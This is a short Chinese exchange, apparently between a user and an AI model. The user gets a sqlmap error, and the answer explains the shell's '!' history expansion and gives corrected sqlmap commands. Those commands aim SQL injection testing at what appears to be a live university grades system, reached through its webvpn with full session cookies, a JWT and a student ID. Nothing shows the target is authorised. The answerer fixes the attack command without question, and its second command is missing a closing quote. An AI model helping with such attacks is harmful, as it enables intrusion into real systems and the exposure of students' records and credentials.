使用sqlmap报错python sqlmappy -u httpsjwglwebvpnnepueducnxskccjxx!getDetailactioncjdm=25315560 --cookie=_webvpn_key=eyJhbGciOiJIUzI1NiJ9eyJ1c2VyIjoiMjAwNTAyMTQwMjI0IiwiZ3JvdXBzIjpbMTIxLDFdLCJpYXQiOjE2ODUw

这是因为在命令行中感叹号（!）是一个特殊字符，用于执行历史命令。为了避免这个问题，你可以将URL用单引号或双引号括起来，或者使用反斜杠（\）对感叹号进行转义，例如：

python sqlmap.py -u 'https://jwgl.webvpn.nepu.edu.cn/xskccjxx!getDetail.action?cjdm=25315560' --cookie="_webvpn_key=eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiMjAwNTAyMTQwMjI0IiwiZ3JvdXBzIjpbMTIxLDFdLCJpYXQiOjE2ODUwNTk4MDAsImV4cCI6MTY4NTE0NjIwMH0.aHEtyQoxU87vnAshS0VcRhJzJF3Bn2pXjYippd6vUJk; webvpn_username=200502140224%7C1685059800%7Cd09e2422056df31f52b5c8ffa1a2efd831b9e128; JSESSIONID=5B81A1E981993C3A1CB88FC1964E29DD'

或者

python sqlmap.py -u "https://jwgl.webvpn.nepu.edu.cn/xskccjxx!getDetail.action?cjdm=25315560" --cookie="_webvpn_key=eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiMjAwNTAyMTQwMjI0IiwiZ3JvdXBzIjpbMTIxLDFdLCJpYXQiOjE2ODUwNTk4MDAsImV4cCI6MTY4NTE0NjIwMH0.aHEtyQoxU87vnAshS0VcRhJzJF3Bn2pXjYippd6vUJk; webvpn_username=200502140224%7C1685059800%7Cd09e2422056df31f52b5c8ffa1a2efd831b9e128; JSESSIONID=5B81A1E981993C3A1CB88FC1964E29DD